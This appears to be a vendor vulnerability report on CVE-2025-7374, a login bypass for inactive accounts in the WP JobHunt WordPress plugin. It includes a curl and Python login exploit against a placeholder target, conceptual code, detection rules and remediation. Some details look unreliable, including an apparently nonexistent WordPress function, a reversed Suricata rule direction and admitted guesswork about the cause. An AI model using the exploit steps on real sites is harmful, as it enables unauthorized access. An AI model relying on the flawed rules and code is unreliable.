CVE-2025-7374

Executive Summary

CVE-2025-7374 is a critical authorization bypass vulnerability affecting the WP JobHunt plugin for WordPress, specifically used by the JobCareer theme. The flaw resides in insufficient login restrictions for inactive and pending user accounts. An authenticated attacker with Candidate- or Employer-level access can bypass account status checks and log in even when their account is marked as inactive or pending. This allows unauthorized access to restricted areas and actions, potentially leading to data exposure or privilege escalation within the WordPress ecosystem.

WordPress Ecosystem Impact

This vulnerability is specific to the WordPress plugin WP JobHunt and the JobCareer theme. It does not affect Apache, Nginx, or other web server components. The attack surface is limited to WordPress installations using these components.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs valid credentials (Candidate/Employer).
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

CVSS Score: 5.4 (Medium)

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and potential for lateral movement within the WordPress admin panel elevate the risk.

Deep Dive & Mechanics

The vulnerability stems from improper enforcement of account status checks during the authentication process. In the WP JobHunt plugin, user roles (Candidate, Employer) have associated account statuses (active, inactive, pending). The login mechanism fails to validate whether an account is active before granting access. This allows an attacker with valid credentials for an inactive or pending account to bypass the status check and log in.

Root Cause: The wp_authenticate hook or custom login function does not call wp_check_user_status() or equivalent checks for these custom roles. The plugin likely overrides the default WordPress authentication flow without implementing proper status validation.

Attack Flow:

1. Attacker registers as a Candidate or Employer (or obtains credentials for an existing inactive account).
2. The account is set to "inactive" or "pending" by an administrator.
3. Attacker attempts to log in using those credentials.
4. The plugin's custom authentication logic fails to check the account status.
5. Attacker gains authenticated access with the original role's privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In wp-jobhunt/includes/class-authentication.php
add_filter('authenticate', 'jobhunt_authenticate', 10, 3);
function jobhunt_authenticate($user, $username, $password) {
    // Missing status check
    $user = get_user_by('login', $username);
    if ($user && wp_check_password($password, $user->user_pass, $user->ID)) {
        return $user;
    }
    return null;
}

Patched Code (Conceptual):

// In wp-jobhunt/includes/class-authentication.php
add_filter('authenticate', 'jobhunt_authenticate', 10, 3);
function jobhunt_authenticate($user, $username, $password) {
    $user = get_user_by('login', $username);
    if ($user && wp_check_password($password, $user->user_pass, $user->ID)) {
        // Check account status
        $status = get_user_meta($user->ID, 'account_status', true);
        if ($status === 'active') {
            return $user;
        } else {
            return new WP_Error('inactive_account', __('Your account is inactive.'));
        }
    }
    return null;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with WP JobHunt plugin <= 7.6 and JobCareer theme.
• Valid credentials for a Candidate or Employer account that is inactive or pending.

Exploitation Steps:

1. Identify the login URL (e.g., /wp-login.php or custom login page).
2. Use a tool like curl to attempt login:

   curl -X POST https://target.com/wp-login.php \
     -d "log=attacker_username&pwd=attacker_password&wp-submit=Log+In"
   

3. If successful, the response will contain a session cookie and redirect to the dashboard.
4. Verify access by navigating to restricted pages (e.g., job listings, employer dashboard).

Automated Exploit (Python):

import requests

target = "https://target.com/wp-login.php"
payload = {
    "log": "inactive_user",
    "pwd": "password123",
    "wp-submit": "Log In"
}
session = requests.Session()
response = session.post(target, data=payload)
if "wp-admin" in response.url:
    print("[+] Login successful despite inactive status")
else:
    print("[-] Login failed")

Blue Team

Detection:

• Monitor for login attempts from accounts with status "inactive" or "pending".
• Look for successful logins followed by unusual activity (e.g., accessing admin pages, modifying content).
• Use the Sigma rule below to detect failed login attempts that should have been blocked.

Hunting:

• Query WordPress user meta for accounts with account_status not equal to active that have recent login timestamps.
• Check wp_usermeta table:

  SELECT user_id, meta_value FROM wp_usermeta WHERE meta_key = 'account_status' AND meta_value != 'active';
  

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /wp-login.php with valid credentials for inactive accounts.
  • Session cookies for users with account_status = inactive or pending.

• Host:

  • User accounts in wp_users with user_status = 0 but account_status meta = inactive.
  • Log entries in wp_actionscheduler_log showing login events for inactive users.

• File:

  • Modified plugin files in /wp-content/plugins/wp-jobhunt/ (if attacker uploads backdoor).

Detection Engineering

YARA Rule

rule CVE_2025_7374_WP_JobHunt_AuthBypass {
    meta:
        description = "Detects vulnerable WP JobHunt plugin authentication bypass"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7374"
    strings:
        $auth_func = "jobhunt_authenticate" nocase
        $status_check = "account_status" nocase
        $wp_check = "wp_check_password" nocase
    condition:
        $auth_func and not $status_check and $wp_check
}

Sigma Rule

title: WP JobHunt Authentication Bypass via Inactive Account
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects successful login attempts from accounts with inactive or pending status in WP JobHunt plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # WordPress login success
        UserMeta|contains: 'account_status'
        UserMeta|notcontains: 'active'
    condition: selection
falsepositives:
    - Legitimate admin reactivation of accounts
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-7374 WP JobHunt Auth Bypass - Inactive Account Login";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-login.php"; http_uri;
    content:"log="; http_client_body;
    content:"pwd="; http_client_body;
    pcre:"/log=[a-zA-Z0-9_]+&pwd=/";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable WP JobHunt plugin until a patch is available.
2. Manually audit user accounts and set inactive accounts to "active" only if necessary.
3. Implement custom code to check account status on login:

   add_filter('wp_authenticate_user', 'check_account_status', 10, 2);
   function check_account_status($user, $password) {
       $status = get_user_meta($user->ID, 'account_status', true);
       if ($status !== 'active') {
           return new WP_Error('inactive_account', __('Account is inactive.'));
       }
       return $user;
   }
   

Long-term Fix:

• Apply vendor patch when released (currently UNKNOWN).
• Replace WP JobHunt with an alternative plugin that properly handles account statuses.

Workarounds:

• Use a Web Application Firewall (WAF) to block login attempts from known inactive accounts.
• Implement two-factor authentication (2FA) to add an extra layer of security.

Report generated by Valters IT DevSecOps Intelligence Unit